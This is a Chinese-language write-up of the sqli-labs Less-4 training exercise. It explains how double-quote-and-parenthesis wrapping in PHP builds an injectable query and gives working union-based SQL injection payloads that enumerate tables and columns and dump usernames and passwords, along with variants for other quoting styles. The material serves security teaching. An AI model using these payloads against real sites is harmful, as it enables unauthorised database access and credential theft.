Less-4 GET-Error based-Double Quotes-String
GET-基于错误-双引号-字符串

题目已经提示了是双引号变种,所以直接单引号该双引号,秒杀!
?id=-1") union select 1,2,group_concat(id,0x3a,username,0x3a,password,0x3c62723e) from users --+

代码分析
分析一下源码:

PHP 代码含义
$id = '"' . $id . '"';
这是PHP的字符串拼接操作:
'"'- 单引号包裹的双引号字符(一个双引号字符).- PHP的字符串连接符$id- 用户输入的值.- 连接符'"'- 又是一个双引号字符
效果:在用户输入的两边各加一个双引号
实际执行过程
// 假设用户输入
$_GET['id'] = '1';// 第一步:接收用户输入
$id = $_GET['id']; // $id = '1'// 第二步:在两边加双引号
$id = '"' . $id . '"'; // $id = '"1"'// 第三步:拼接到SQL
$sql = "SELECT * FROM users WHERE id=($id) LIMIT 0,1";
// $sql = "SELECT * FROM users WHERE id=("1") LIMIT 0,1";
完整示例对比
| 用户输入 | 经过处理后 | 最终SQL语句 |
|---|---|---|
1 | "1" | SELECT * FROM users WHERE id=("1") LIMIT 0,1 |
1" | "1"" | SELECT * FROM users WHERE id=("1"") LIMIT 0,1 |
1") | "1"") | SELECT * FROM users WHERE id=("1"") LIMIT 0,1 |
为什么你的payload有效
你使用的payload
?id=-1") union select 1,2,group_concat(id,0x3a,username,0x3a,password,0x3c62723e) from users --+
执行过程分析
// Step 1: 用户输入
$_GET['id'] = '-1") union select 1,2,3 --+';// Step 2: 加双引号
$id = '"' . '-1") union select 1,2,3 --+' . '"';
$id = '"-1") union select 1,2,3 --+"';// Step 3: 拼接SQL
$sql = "SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$sql = 'SELECT * FROM users WHERE id=("-1") union select 1,2,3 --+") LIMIT 0,1';↑__↑ ↑_↑闭合了双引号 被注释掉
SQL执行流程图解
原始结构:SELECT * FROM users WHERE id=("$id") LIMIT 0,1↑ ↑代码自动加的双引号你的输入:-1") union select 1,2,3 --+最终SQL:
SELECT * FROM users WHERE id=("-1") union select 1,2,3 --+") LIMIT 0,1↑_↑ ↑____________↑闭合成功 被 --+ 注释掉
详细检测方法
Step 1: 测试双引号
?id=1"
报错:
You have an error in your SQL syntax near '1"") LIMIT 0,1'↑↑看到两个双引号,说明代码加了一个
Step 2: 测试闭合括号
?id=-1")--+
报错可能变化:
You have an error in your SQL syntax near '") LIMIT 0,1'
Step 3: 完整测试
?id=1") and "1"="1" --+
✅ 正常显示
?id=1") and "1"="2" --+
❌ 不显示
其他类似变种
变种1: 单引号版本
$id = "'" . $id . "'";
$sql = "SELECT * FROM users WHERE id=($id) LIMIT 0,1";
最终: WHERE id=('$id')
闭合: ?id=1') union select 1,2,3 --+
变种2: 反引号版本
$id = '`' . $id . '`';
$sql = "SELECT * FROM users WHERE id=($id) LIMIT 0,1";
最终: WHERE id=(`$id`)
闭合: ?id=1`) union select 1,2,3 --+
变种3: 多层嵌套
$id = '"' . $id . '"';
$sql = "SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
注意: 这里外层还有单引号!
最终: WHERE id=(("$id"))
闭合: ?id=1")) union select 1,2,3 --+
变种4: 混合引号
$id = '"' . $id . '"';
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
最终: WHERE id='"$id"'
闭合: ?id=1" union select 1,2,3 --+ 或 ?id=1"' union select 1,2,3 --+
完整注入流程(Less-4)
-- 1. 测试注入点
?id=1") and "1"="1 --+ ✅ 正常
?id=1") and "1"="2 --+ ❌ 异常-- 2. 判断列数
?id=1") order by 3 --+ ✅
?id=1") order by 4 --+ ❌ (3列)-- 3. 确定显示位
?id=-1") union select 1,2,3 --+-- 4. 获取当前数据库
?id=-1") union select 1,database(),3 --+-- 5. 获取所有表名
?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+-- 6. 获取列名
?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+-- 7. 获取数据(你的payload)
?id=-1") union select 1,2,group_concat(id,0x3a,username,0x3a,password,0x3c62723e) from users --+
PHP 字符串拼接补充知识
单引号 vs 双引号
// 单引号:不解析变量
$name = 'Alice';
echo 'Hello $name'; // 输出:Hello $name// 双引号:解析变量
echo "Hello $name"; // 输出:Hello Alice
点号连接符
$a = 'Hello';
$b = 'World';// 方法1:点号连接
$c = $a . ' ' . $b; // "Hello World"// 方法2:双引号插值
$c = "$a $b"; // "Hello World"// 方法3:连续连接
$c = $a . ' ' . $b . '!'; // "Hello World!"
Less-4 的代码等价写法
// 原始写法
$id = '"' . $id . '"';// 等价写法1
$id = "\"$id\"";// 等价写法2
$id = sprintf('"%s"', $id);// 等价写法3
$id = '"' . $_GET['id'] . '"';
报错信息识别表
| 输入 | 报错内容 | 分析 | 正确闭合 |
|---|---|---|---|
1" | near '1"") LIMIT | 有两个",说明代码加了一个 | ") |
1' | near '1'") LIMIT | 有'",说明外层是双引号 | ") |
1") | near '") LIMIT | 只剩"),说明闭合对了 | ") |
总结
PHP代码含义
$id = '"' . $id . '"';
作用: 在用户输入的两边各加一个双引号
示例: 1 → "1"
SQL结构
SELECT * FROM users WHERE id=("$id") LIMIT 0,1↑ ↑代码自动加的双引号
正确闭合方式
")
完整payload
?id=-1") union select 1,2,group_concat(columns) from table --+
核心理解
- 代码在输入两边加了双引号
- SQL中还有括号包裹
- 需要用
")同时闭合双引号和括号 - 用
--+注释掉后面多余的内容
